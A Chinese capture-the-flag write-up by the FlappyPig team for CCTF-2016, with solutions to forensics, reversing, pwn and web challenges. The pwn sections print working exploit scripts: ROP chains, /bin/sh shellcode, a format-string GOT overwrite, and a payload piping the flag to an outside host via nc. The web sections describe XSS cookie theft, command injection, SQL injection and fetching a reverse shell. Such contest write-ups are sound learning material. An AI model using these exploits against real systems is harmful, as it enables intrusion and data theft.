转载

FlappyPig CCTF-2016 WriteUp

FlappyPig CCTF-2016 WriteUp

作者:FlappyPig

Misc

签到

源码。

Misc1

FlappyPig CCTF-2016 WriteUp

FlappyPig CCTF-2016 WriteUp

Misc2

FlappyPig CCTF-2016 WriteUp

EZ Game Misc

在数据包中发现了大量smb流量,目测为smb的某洞,先找到getshell的流,流里面的好东西不少,这里不做赘述:

FlappyPig CCTF-2016 WriteUp

把这几个和每个前后的steam看下,一共就几个找到:

FlappyPig CCTF-2016 WriteUp

Base64解码得到flag。

猜CVE编号(补丁编号),其实我第一次试的就是08067(都不用看流第一个想到的就是这个吧==)。

True or False Misc

Down下来丢到Winhex里看一下,

FlappyPig CCTF-2016 WriteUp

尝试加了各种压缩文件头都不行,后来主办方出了提示说bz2,把头改成42 5a 68 39 之后可以正常解压,发现true 和 false 两个bin文件,直接运行的话会弹一个误导提示。

丢给二进制队友,静态调试在true中print_f中发现关键点,最终得到Flag

Best_Easy_Misc

这个题有些蛋疼.. 下载下来之后OS X直接解压了,跳过了不少坑.丢到Winhex里

FlappyPig CCTF-2016 WriteUp

最开始以为是摩尔斯密码,解了几下发现不对,队友说可能是培根密码,统计了一下有1024个字节,把—换成A 把 . 换成B ,感觉像是二维码的样子,变以32X32排列。(其实最后没看清我用别的符号替代了)

这时候发现有些东西藏在里面,就把每个点扩大了3倍,再缩小视图,拿PS勾图,得到Flag。

FlappyPig CCTF-2016 WriteUp

Forensic

神秘的文件1

这题一开始完全没思路,不知道level1是什么,file了一下:

FlappyPig CCTF-2016 WriteUp

去搜了一圈发现这个是windows的vhd格式,于是把他附加到电脑上:

FlappyPig CCTF-2016 WriteUp

发现分区被bitlocker保护了,但是不知道密码,后来发现了一个软件Passware Kit Forensic可以破解Bitlocker密码,这时候知道给的mem.vmem内存dump文件怎么用了,加载进来破解:

FlappyPig CCTF-2016 WriteUp

跑了一会就出来恢复密钥了:

FlappyPig CCTF-2016 WriteUp

然后,直接输入恢复密钥就能打开磁盘获得level1的flag:

FlappyPig CCTF-2016 WriteUp

神秘的文件2

不出意外的话这题应该是搞level1里面获得的level2文件,本来一直没思路,后来看了提示可以用取证神器volatility,所以就下了一个,看了一圈发现内存里对level2的描述比较奇怪:

FlappyPig CCTF-2016 WriteUp

Volatility看了一下屏幕截图:

FlappyPig CCTF-2016 WriteUp

感觉是用TrueCrypt加密了某些东西?那么用truecryptsummary看一下内存dump:

FlappyPig CCTF-2016 WriteUp

这里看到truecryptsummary的结果显示level2是一个挂载在H盘的一个TrueCrypt container,那么密码是多少呢?用truecryptmaster看了一下,的确找到了master key。

FlappyPig CCTF-2016 WriteUp

感觉应该是正确思路?

用这个masterkey解密level2就行了?

然后在这里被坑了很久,一直都没头绪,他说加密算法是CAST,但是这个非常老旧已经被弃用的算法啊。。我从github上down下来truecrypt的源码,自己写了一个CAST解密程序,可是解密出来完全不对啊,于是默默的被坑了很久后来看到了提示:

FlappyPig CCTF-2016 WriteUp

搞了半天level2密码不在内存了。我也是醉了。可是密码在其他地方,到底在哪里呢?一点思路都没有?

最后。最后我还是搞定了。我应该是唯一一个做出来的,紫鹏大神你要请我吃饭。最后我把题目描述页面上所有可见字符串都当密码试过了。最后的密码是purpleroc,紫鹏大神,给你跪下了。得到flag:

FlappyPig CCTF-2016 WriteUp

Bin

Re1

md5_custom函数啥都没干,所以Flag为CCTF{f2332291a6e1e6154f3cf4ad8b7504d8}。

Re2

C#混淆,用de4dot解混淆。发现将flag发送到端口31337,所以开个端口接收一下。

FlappyPig CCTF-2016 WriteUp

Re3

输入:numbers:789101112131415123456可以打印出: oh mon dieu t'as reussi bravo ! mdp est concatene ordre est 4 2 3 1,所以flag为 CCTF{789101112131415123456}。

2048?4096?

2048游戏,玩死了之后会将 score-turn-time 发送到固定服务器,然后服务器发回do not cheat!

不知道服务器怎么check的,试了分最大的情况也不行。

根据提示3,知道需要求分最小的情况。

分最小情况如下:

2 4 2 4

4 2 4 2

2 4 2 4

4 2 4 2

得分为16,turn为(所有数之和-4)/2=20,然后时间最开始写10s发现不行,试了下100s,得到了flag。

FlappyPig CCTF-2016 WriteUp

difffffffffffuse

输入40字节,经过几千轮变换,然后与固定40字节比较。

发现每轮变换都是单字节操作,所以可以一个个字节去爆破。

用gdb脚本在strcmp处下断点记录不同字符串变换后的结果。然后逐个去匹配。得到flag为CCTF{1f_Y0u_W4nNa_R3vEn93_____purpleroc}

import os

for i in range(1, 0x100):

print i

f =   open('abc.txt', 'wb')

f.write(chr(i)*40)

f.close()

command = 'gdb ./difuse -x difuse.py'

os.popen(command)

os.popen('cp ./out.txt ./result'+str(i)+'.txt')

dict ={}

for i in range(1, 0x100):

f =   open('./result'+str(i)+'.txt', 'rb')

dict[i] = f.read()

f.close()

f = open('./biaozhun','rb')

biaozhun = f.read()

f.close()

result = ''

for i in range(len(biaozhun)):

for   j in range(1, 0x100):

if dict[j][i] == biaozhun[i]:

result += chr(j)

print i

break

print result

Simple pwn

代码逻辑非常简单,如下:

FlappyPig CCTF-2016 WriteUp

返回之前,把三个地址解析的int值,分别放在栈顶和作为返回地址,如下:

FlappyPig CCTF-2016 WriteUp

由于读取东西后,直接将socket从标准输入输出关闭了,所以没法直接再次读取东西,所以泄露和改写没法同时进行,在次,利用两次,第一次泄露,第二次直接改写,由于32位的程序,空间有限,可以撞上。利用代码如下:

__author__ = "pxx"

from zio import *

from pwn import *

target = "./pwn1"

target = ("115.28.241.138", 9000)

#target = ("127.0.0.1", 2333)

elf_path = "./pwn1"

def get_io(target):

r_m = COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)

return io

def get_elf_info(elf_path):

return ELF(elf_path)

def leak_addr(io):

#sample

main_addr = 0x0804852D

main_addr = 0x08048566

leave_ret = 0x08048498

p_ebp_ret = 0x0804866a

ppp_ret = 0x08048668

pppp_ret = 0x08048667

read_got = 0x0804a00c

read_plt = 0x080483b0

write_plt = 0x080483f0

atoi_got = 0x0804a024

setvbuf_plt = 0x08048400

stdout_got = 0x0804A040

io.read_until("welcome to cctf/n")

#io.gdb_hint()

buffer_addr = 0x0804A060

rop_addr = buffer_addr + 30

ebp = rop_addr

v_1111 = str(leave_ret)

v_2222 = str(ebp)

v_3333 = str(p_ebp_ret)

#v_3333 = str(main_addr)

rop_chain = ""

rop_chain += l32(0x01010101)

rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(buffer_addr + 0x800) + l32(0x100)

rop_chain += l32(p_ebp_ret) + l32(buffer_addr + 0x800) + l32(leave_ret)

payload = ""

payload += v_1111 + "." + v_2222 + "." + v_3333  + "."

payload = payload.ljust(30, 'a')

payload += rop_chain

io.writeline(payload)

#io.interact()

#return

rop_chain = ""

rop_chain += l32(0x01010101)

#rop_chain += l32(setvbuf_plt) + l32(pppp_ret) + l32(stdout_got) + l32(0) + l32(2) + l32(0)

#rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(read_got) + l32(12)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(read_got + 4)

payload = ""

payload += rop_chain

io.writeline(payload)

#io.interact()

data = io.read(4)

print [c for c in data]

read_addr = l32(data)

print "read_addr:", hex(read_addr)

#local

offset_system = 0x0003e800

offset_read = 0x000da8d0

offset_str_bin_sh = 0x15f9e4

#remote

"""

offset_read = 0x000dabd0

offset_system = 0x00040190

offset_str_bin_sh = 0x160a24

"""

#offset_read = int(raw_input("offset_read = "), 16)

#offset_system = int(raw_input("offset_system = "), 16)

libc_base = read_addr - offset_read

system_addr = libc_base + offset_system

bin_sh_addr = libc_base + offset_str_bin_sh

print "system_addr:", hex(system_addr)

print "bin_sh_addr:", hex(bin_sh_addr)

io.writeline(l32(system_addr) + "/bin/sh;")

io.interact()

import struct

def to_int(val):

return struct.unpack("i", struct.pack("I", val))[0]

def pwn(io):

#sample

main_addr = 0x0804852D

main_addr = 0x08048566

leave_ret = 0x08048498

p_ebp_ret = 0x0804866a

ppp_ret = 0x08048668

pppp_ret = 0x08048667

read_got = 0x0804a00c

read_plt = 0x080483b0

write_plt = 0x080483f0

atoi_got = 0x0804a024

setvbuf_plt = 0x08048400

stdout_got = 0x0804A040

io.read_until("welcome to cctf/n")

#io.gdb_hint()

buffer_addr = 0x0804A060

rop_addr = buffer_addr + 40

ebp = rop_addr

v_1111 = str(leave_ret)

v_2222 = str(ebp)

v_3333 = str(p_ebp_ret)

#v_3333 = str(main_addr)

#local

real_read_addr = 0xf76e18d0

system_addr = 0xf7645800

bin_sh_addr = 0xf77669e4

#remote

#"""

real_read_addr = 0xb76babd0

system_addr = 0xb7620190

bin_sh_addr = 0xb7740a24

#"""

#print to_int(bin_sh_addr)

#print to_int(system_addr)

v_2222 = str(to_int(buffer_addr+40))

v_3333 = str(to_int(system_addr))

v_1111 = v_2222

rop_chain = ""

rop_chain += l32(0x01010101)

rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)

rop_chain += l32(system_addr) + l32(bin_sh_addr)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(buffer_addr + 0x800) + l32(0x100)

rop_chain += l32(p_ebp_ret) + l32(buffer_addr + 0x800) + l32(leave_ret)

payload = ""

payload += v_1111 + "." + v_2222 + "." + v_3333  + "."

payload = payload.ljust(40, 'a')

payload += "cat flag | nc 120.27.114.63 8888;"

payload += rop_chain

io.writeline(payload)

#io.interact()

io.writeline("id")

data = io.read_until("/n")

print data

if len(data) < 3:

io.close()

return

print "get it"

#io.interact()

data = io.read(4)

print [c for c in data]

read_addr = l32(data)

print "read_addr:", hex(read_addr)

if read_addr == real_read_addr:

print "get it"

raw_input(":")

#io.interact()

else:

io.close()

return

#io.interact()

#return

rop_chain = ""

rop_chain += l32(0x01010101)

#rop_chain += l32(setvbuf_plt) + l32(pppp_ret) + l32(stdout_got) + l32(0) + l32(2) + l32(0)

#rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(read_got) + l32(12)

rop_chain += l32(read_plt) + l32(ppp_ret) + l32(read_got + 4)

payload = ""

payload += rop_chain

io.writeline(payload)

#io.interact()

#local

offset_system = 0x0003e800

offset_read = 0x000da8d0

offset_str_bin_sh = 0x15f9e4

#remote

"""

offset_read = 0x000dabd0

offset_system = 0x00040190

offset_str_bin_sh = 0x160a24

"""

#offset_read = int(raw_input("offset_read = "), 16)

#offset_system = int(raw_input("offset_system = "), 16)

libc_base = read_addr - offset_read

system_addr = libc_base + offset_system

bin_sh_addr = libc_base + offset_str_bin_sh

print "system_addr:", hex(system_addr)

print "bin_sh_addr:", hex(bin_sh_addr)

io.writeline(l32(system_addr) + "/bin/sh;")

io.interact()

"""

io = get_io(target)

leak_addr(io)

exit(0)

"""

while True:

try:

io = get_io(target)

pwn(io)

except Exception, e:

#raise e

Pass

接收flag,成功截图:

FlappyPig CCTF-2016 WriteUp

新大陆

代码逻辑非常简单,如下:

FlappyPig CCTF-2016 WriteUp

直接读取数据到尾部,然后将5字节拷贝至最前面,然后跳过去。

由于在call eax前后,栈只会压人一个返回地址eip,如下:

FlappyPig CCTF-2016 WriteUp

所以栈相对于main函数只会偏移四个字节,如果直接返回到如下截图处,此时eax值也为map出来的地址,那么就可以往buff的最前面写入数据,但是由于栈有偏移,此时应该利用这5字节代码做这些事情,调整栈,跳转到如下位置:

FlappyPig CCTF-2016 WriteUp

由于call eax压人的返回地址与上述位置相差的就是一个字节,所以做起来相对比较容易,利用代码如下:

__author__ = "pxx"

from zio import *

from pwn import *

target = "./pwn2"

elf_path = "./pwn2"

target = ("120.27.130.77", 9000)

def get_io(target):

r_m = COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)

return io

def get_elf_info(elf_path):

return ELF(elf_path)

def pwn(io):

#sample

elf_info = get_elf_info(elf_path)

context(arch = elf_info.arch, os = 'linux')

addr = 0x080484CF

code = "jmp 0x%x"%addr

#eip_addr = 0x080484F7

#elf_info.asm(eip_addr, code)

#data = elf_info.disasm(eip_addr, 10)

#print data

eip_addr = 0x31337000

offset = (0x80484cf - eip_addr - 5) & 0xffffffff

print hex(offset)

diff = 0x80484f9 - 0x080484Cf

code = ""

code += asm("pop ebx") #1

code += asm('mov bl, 0xcf') #2

#code += asm("push ebx") #1

code += asm("jmp ebx") #2

print diff

print len(asm("pop ebx"))

print len(asm('mov bl, 0xcf'))

print len(asm("jmp ebx"))

print len(code)

#code = "P" + "/xe9" + l32(offset)

io.gdb_hint()

io.writeline(code)

shellcode = "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x89/xc2/xb0/x0b/x31/xc9/xcd/x80"

asm_str = """

0:   31 c0                   xor    eax,eax

2:   50                      push   eax

3:   68 2f 2f 73 68          push   0x68732f2f

8:   68 2f 62 69 6e          push   0x6e69622f

d:   89 e3                   mov    ebx,esp

f:   89 c2                   mov    edx,eax

11:   b0 0b                   mov    al,0xb

13:   31 c9                   xor    ecx,ecx

15:   cd 80                   int    0x80

"""

print disasm(shellcode)

code = ""

code += shellcode

code = code.ljust(4090, 'a')

code += shellcode[:5]

io.writeline(code)

io.interact()

io = get_io(target)

pwn(io)

成功截图:

FlappyPig CCTF-2016 WriteUp

Ftp_server

这道题应该是三个pwn中最简单的一道,就是个简单的格式化字符串,漏洞处如下:

FlappyPig CCTF-2016 WriteUp

格式化在栈上,利用代码如下:

__author__ = "pxx"

from zio import *

from pwn import *

target = "./pwn3"

elf_path = "./pwn3"

target = ("120.27.155.82", 9000)

def get_io(target):

r_m = COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)

return io

def get_elf_info(elf_path):

return ELF(elf_path)

def put_file(io, name, content):

io.read_until("ftp>")

io.writeline("put")

io.read_until(":")

io.writeline(name)

io.read_until(":")

io.writeline(content)

def dir_file(io):

io.read_until("ftp>")

io.writeline("dir")

def get_file(io, name):

io.read_until("ftp>")

io.writeline("get")

io.read_until(":")

io.writeline(name)

def pwn(io):

#sample

#elf_info = get_elf_info(elf_path)

name = "sysbdmin"

io.read_until("Name (ftp.hacker.server:Rainism):")

io.writeline()

real_name = [chr(ord(c)-1) for c in name]

real_name = "".join(real_name)

io.writeline(real_name)

malloc_got = 0x0804a024

puts_got = 0x0804a028

name = "aaaa"

#content = "AAAA" + "B"*4 + "C"*4 + "%7$x."

content = l32(malloc_got) + "%7$s...."

put_file(io, name, content)

get_file(io, name)

data = io.read_until("....")

print [c for c in data]

malloc_addr = l32(data[4:8])

print "malloc_addr:", hex(malloc_addr)

#local

offset_malloc = 0x00076550

offset_system = 0x0003e800

#remote

offset_malloc = 0x000766b0

offset_system = 0x00040190

libc_base = malloc_addr - offset_malloc

system_addr = libc_base + offset_system

print "system_addr:", hex(system_addr)

addr_info = ""

padding_info = ""

system_addr_buff = l32(system_addr)

offset = 4*4

begin_index = 7

for i in range(4):

addr_info += l32(puts_got + i)

val = ord(system_addr_buff[i])

count = val - offset

if count <= 0:

count += 0x100

padding_info += "%%%dc"%count + "%%%d$hhn"%(begin_index + i)

offset = val

name = "/bin/sh;"

content = addr_info + padding_info

put_file(io, name, content)

io.gdb_hint()

get_file(io, name)

dir_file(io)

io.interact()

pass

io = get_io(target)

pwn(io)

成功截图:

FlappyPig CCTF-2016 WriteUp

AAAApk

Apk主要调用libverify.so中的sub_c9c进行check,但是这部分代码开始是被加过密的,所以首先需要简单解下密,解密部分在init中,如下:

FlappyPig CCTF-2016 WriteUp

解密完后,发现其实sub_c9c就是一个简单的异或处理,如下:

FlappyPig CCTF-2016 WriteUp

FlappyPig CCTF-2016 WriteUp

对输入进行base64解密后,与某个处理的串进行对比,正确就输出flag,此时都无需考虑输入,直接根据该串进行解密即可得到flag,其中解密代码和获取flag的代码如下:

__author__ = "pxx"

def decode_file():

file_r = open("libverify.so", "rb")

content = file_r.read()

file_r.close()

info = []

begin_pos = 0xC9D & 0xFFFFFFFE

for i in range(352):

info.append(chr((~ord(content[begin_pos+i]))&0xff))

print "".join(info)

file_w = open("libverify-decode.so", "wb")

content_new = content[:begin_pos] + "".join(info) + content[begin_pos+len(info):]

file_w.write(content_new)

file_r.close()

def parse_something():

byte_4004 = [0x77, 8, 0x69, 0x4C, 0x7C, 0x6D, 0x4A, 0x7D, 0x66, 0x78, 0x62, 0x16, 0, 0, 0, 0]

byte_23f0 = [0xDE, 0xBF, 0xDC, 0xDB, 0xDA, 0xA1, 0xD9, 0xD5, 0xD7, 0xD6, 0xA0, 0xD4, 0]

for i in range(12):

byte_4004[i] ^= ((~byte_23f0[i])&0xff)

print byte_4004

print "".join([chr(c) for c in byte_4004])

byte_23FD = [0xC, 0x4B, 0x38, 0x19, 0x2C, 0x39, 0x15, 0x4D, 0x3E, 0x3E, 0x23, 0x6B, 0]

byte_23F0 = [0xDE, 0xBF, 0xDC, 0xDB, 0xDA, 0xA1, 0xD9, 0xD5, 0xD7, 0xD6, 0xA0, 0xD4, 0]

out_info = [ord(c) for c in "CCTF"]

for i in range(12):

out_info.append(byte_23FD[i] ^ byte_4004[i] ^ ((~byte_23f0[i])&0xff))

print "".join([chr(c) for c in out_info])

parse_something()

成功截图:

FlappyPig CCTF-2016 WriteUp

Help FBI

Bin中这道题有点麻烦,控制流混淆+字符串加密+反调试+静态编译+arm。所以看起来比较费力。由于比较繁琐,细节部分就不赘述了。

1.定位字符串解密函数为0x9b00函数

在关键位置打印log,获取控制流程。

最终得到解密函数实现如下,并将文件中的几个字符串处进行解密:

__author__ = "pxx"

def strlen(info):

index = 0

for item in info:

if item == 0:

return index

else:

index += 1

return index

def sub_a0d0(v1, v2):

#2, 12, 2

#3, 12, 3

return v1 % v2

def decode_9B00(info):

byte_1a022 = [0x98, 0x91, 0xCE, 0xB4, 0x8C, 0xBF, 0x92, 0xCF, 0x97, 0xAB, 0x86, 0xBD]

v14 = []

index = 0

byte_1a022_len = strlen(byte_1a022)

while index < byte_1a022_len:

v6 = byte_1a022[byte_1a022_len - index - 1]

v14.append(((~v6)&0x3f | v6 &0xc0) ^ 0xc0)

index += 1

v14.append(0)

index = 0

v11 = strlen(v14)

info_len = strlen(info)

v13 = []

while index < info_len:

v12 = sub_a0d0(index, v11)

v13.append(v14[v12] & (~info[index] & 0xff) | info[index] & (~v14[v12] & 0xff))

index += 1

v13 = "".join([chr(c) for c in v13])

print v13

return v13

#info = [0xB, 0x17, 0x27, 0xD, 0x42, 0x19, 0x60, 0x12, 0x25, 0x11, 7, 0x37, 0x2A, 0x16, 0x3A, 0xD, 0x63, 0x28, 0x60, 7, 0x24, 0x11, 0x1D, 0x13, 0x23, 0xB, 0x20, 0x49, 0]

#decode_9B00(info)

file_r = open("fbi", "rb")

content = file_r.read()

file_r.close()

def decode_pos(content, begin_pos):

cur_pos = begin_pos

info = []

while True:

if content[cur_pos] == "/x00":

break;

info.append(ord(content[cur_pos]))

cur_pos += 1

info = decode_9B00(info)

return content[:begin_pos] + info + content[begin_pos + len(info):]

content = decode_pos(content, 0x11095) #Insert an iPhoneSE to start!

content = decode_pos(content, 0x11063) #Are you kidding me???

content = decode_pos(content, 0x110B2) #Connection is ok, Input your paSScode:

content = decode_pos(content, 0x1100D) #Try again

content = decode_pos(content, 0x11079) #Congratulation! Have a rest

content = decode_pos(content, 0x11000) #%s

content = decode_pos(content, 0x1102f) #/proc/%d/status

content = decode_pos(content, 0x11004) #iPhoneSE

content = decode_pos(content, 0x1103f) #ro.product.model

content = decode_pos(content, 0x11050) #/system/build.prop

content = decode_pos(content, 0x11017) #TracerPid:

decode_pos(content, 0xf198)

decode_pos(content, 0x10ff7)

#file_w = open("fbi-decode", "wb")

#file_w.write(content)

#file_w.close()

2.由于在运行是提示要insert iPhoneSE….才能继续下去,而且在后面直接跟个别的参数运行,直接输出are you kidding me字符串。肯定因为输入的东西不匹配,于是在代码中找到对应位置,如下:

FlappyPig CCTF-2016 WriteUp

这里的v101必须要为0后面,才能起到作用,于是将函数sub_16f00给nop掉,并将r0的值赋值为0

3.成功后,会提示要输入passcode,根据附近的函数,猜测各个静态编译函数功能,代码如下:

FlappyPig CCTF-2016 WriteUp

4.然后进入主要的check过程。首先将一张大表进行初始化赋值,后续会按照这张表进行字符的置换,通过打印控制流的log信息,发现主要逻辑部分如下:

pos10

loop1:

pos7

pos5

pos1

goto loop1

pos7

pos5

pos7

pos4

loop2:

pos9

pos6

pos2

goto loop2

pos9

还原出逻辑代码如下:

def init_cryptto_table_96f0(v13, len_in):

index = 0

v13 = []

v8_table = [0x98, 0x91, 0xCE, 0xB4, 0x8C, 0xBF, 0x92, 0xCF, 0x97, 0xAB, 0x86, 0xBD]

while index < 256:

v13.append(index)

index += 1

v11 = 0

index = 0

index_i = 0

while True:

v14 = v13[index]

v4 = v8_table[index_i] - (-v11 - v14)

v11 = (v4 ^ 0xffffff00) & v4

#print index, v11

v13[index] = v13[v11]

v13[v11] = v14

index_i += 1

index += 1

if index_i >= len_in:

index_i = 0

if index >= 256:

break

#print [hex(c) for c in v13]

#raw_input(":")

return v13

5.逆向置换对比的部分与前面类似,也是根据控制流信息,还原代码如下:

def check_input(tmp_table, input_val):

index = 0

v25 = tmp_table[0]

v26 = tmp_table[1]

result_list = []

while index < len(input_val):

v25 = (v25 + 1) & 0xff

v29 = tmp_table[v25 + 2]

v26 = (v29 + v26) & 0xff

v30 = tmp_table[v26 + 2]

tmp_table[v25 + 2] = v30

tmp_table[v26 + 2] = v29

v31 = tmp_table[((-(-v29 - v30) ^ 0x3FFFFF00) & -(-v29 - v30)) + 2]

print index, "->", v31

result_list.append(v31)

v4 = (~input_val[index] & 0x8AA99332 | ((input_val[index] & 0xCD)&0xff)) ^ (~v31 & 0x32 | ((v31 & 0xCD)&0xff));

input_val[index] = v4

index += 1

tmp_table[0] = v25

tmp_table[1] = v26

#compare input_val with result_table

6.根据还原出来的代码逻辑发现, tmp_table的变化与输入没关系,只是自身的变化,所以可以根据结果来推算输入,代码如下:

target_list = [0x42, 0x10, 1, 0xFD, 0x52, 0xBC, 0x5C, 0x61, 0x1D, 0x76, 2, 0xA7, 0x52, 0x77, 0x52, 0x5E]

def decode_input_real(tmp_table, target_list):

index = 0

v25 = tmp_table[0]

v26 = tmp_table[1]

out_info = []

result_list = []

while index < len(target_list):

v25 = (v25 + 1) & 0xff

v29 = tmp_table[v25 + 2]

v26 = (v29 + v26) & 0xff

v30 = tmp_table[v26 + 2]

tmp_table[v25 + 2] = v30

tmp_table[v26 + 2] = v29

v31 = tmp_table[((-(-v29 - v30) ^ 0x3FFFFF00) & -(-v29 - v30)) + 2]

#print index, "->", v31

#result_list.append(v31)

mid_val = target_list[index] ^ (~v31 & 0x32 | ((v31 & 0xCD)&0xff))

print "index:", index

print "mid_val:", mid_val

for val in range(256):

#print ((~val & 0x8AA99332 | ((val & 0xCD)))&0xff)

if ((~val & 0x8AA99332 | ((val & 0xCD)))&0xff) == mid_val:

print "-----:", chr(val)

out_info.append(chr(val))

#v4 = (~input_val[index] & 0x8AA99332 | ((input_val[index] & 0xCD)&0xff)) ^ (~v31 & 0x32 | ((v31 & 0xCD)&0xff));

#input_val[index] = v4

index += 1

tmp_table[0] = v25

tmp_table[1] = v26

return out_info

byte_table = init_cryptto_table_96f0([], 12)

tmp_table = [0]*2 + byte_table

out_info = decode_input_real(tmp_table, target_list)

print out_info

print "".join(out_info)

成功截图如下:

FlappyPig CCTF-2016 WriteUp

验证如下:

FlappyPig CCTF-2016 WriteUp

Web

萝莉俱乐部-2

访问 www.loli.club 查看源代码可以看到一个邮箱:

FlappyPig CCTF-2016 WriteUp

在gayhub里搜这个邮箱可以找到源码:

FlappyPig CCTF-2016 WriteUp

点进去可以看到真实的blog地址。

https://github.com/PockyNya/pyprint clone到本地,审计代码。

可以发现在AddPostHandler的post方法可以越权添加文章。

FlappyPig CCTF-2016 WriteUp

本地搭建测试一下,可以成功。

FlappyPig CCTF-2016 WriteUp

相同的数据包,发送到pocky.loli.club即可添加含有xss代码的文章。

FlappyPig CCTF-2016 WriteUp

然后访问 http://pocky.loli.club:41293/posts/clickme 测试成功。

根据提示,将这个url发到pocky@loli.club。

FlappyPig CCTF-2016 WriteUp

在xss平台就能接收到了。

FlappyPig CCTF-2016 WriteUp

将得到的flag从16进制转ascii即可看到明文:

FlappyPig CCTF-2016 WriteUp

萝莉俱乐部-1

从blog代码里还能看到有一个"日记"路径,访问可以看到:

FlappyPig CCTF-2016 WriteUp

点进去发现是403,查看代码发现:

FlappyPig CCTF-2016 WriteUp

如果服务器没有收到一个叫username的secure_cookie,则需要使用密码来访问这个页面.所以带着刚才xss打到的cookie访问即可看到内容:

FlappyPig CCTF-2016 WriteUp

可以看到一段lua代码,分析代码之后发现应该是通过telegram 进行控制,需要找命令执行的漏洞,代码中没有过虑分号,所以可以用分号进行命令注入。

注册一个telegram账号,根据提示与@PockyNyan建立会话,根据上面lua代码分析出来的规则,发送构造好的指令,即可得到flag:

FlappyPig CCTF-2016 WriteUp

萝莉俱乐部-3

扫描loli.club的子域名可以发现:

FlappyPig CCTF-2016 WriteUp

存在一个ns.loli.club,根据提示"用python和mysql开发的"猜测会有sqli漏洞:

FlappyPig CCTF-2016 WriteUp

测试发现确实存在,写一个中转脚本方便测试:

FlappyPig CCTF-2016 WriteUp

(不要在意代码里存在命令注入什么的啦..)

通过order by测试出表中有四个字段,

FlappyPig CCTF-2016 WriteUp

第二个字段是回显位.找表名,字段名什么的就不赘述了。

只有一个hosts表,四个字段分别是id,ip,domain,type,把ip数据查出来:

FlappyPig CCTF-2016 WriteUp

得到了一个内网IP:10.47.111.187,再把domain也查出来,发现对应的domain是: op-admin.in.loli.club 估计这个就是loli-4的入口了。

因为数据库中没有flag,所以想可能要用其他方法获得flag.试了好长时间之后发现,主办方在里面预留了一个udf后门,查询mysql.func可以看到函数名:

FlappyPig CCTF-2016 WriteUp

可以看到确实存在一个名为sYsT3m_e的函数,由于函数不带回显,所以将命令结果发送到vps接收,如:

FlappyPig CCTF-2016 WriteUp

bash直接反弹shell没成功,只好从vps上wget一个py反弹shell的脚本到目标机上运行,连上之后可以从目录找到flag:

FlappyPig CCTF-2016 WriteUp

萝莉俱乐部-4

在上一步中得到了一个IP: 10.47.111.187, 正好服务器中提供了nmap,果断的扫了一下端口:

FlappyPig CCTF-2016 WriteUp

发现存在两个web,一个80端口,一个8080端口,扔上去一个自己写的马,开启代理,然后本地挂代理访问,发现80端口什么都没有,8080端口是:

FlappyPig CCTF-2016 WriteUp

看提示的意思应该是需要用admin账号登录,网站ThinkPHP框架写的,本来以为不能有注入,不过还是手贱的试了一下,结果...

FlappyPig CCTF-2016 WriteUp

还真有注...果断扔到sqlmap里跑了一下:

FlappyPig CCTF-2016 WriteUp

得到密码,sha1解密之后是: iiaklis,登录拿到flag.

FlappyPig CCTF-2016 WriteUp

(p.s. 估计这题本意是让update修改密码,不过让我捡了个漏,不管那些了…拿到flag就好 2333333

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。本文地址:http://bobao.360.cn/ctf/detail/159.html

原文  http://bobao.360.cn/ctf/learning/159.html
正文到此结束
Loading...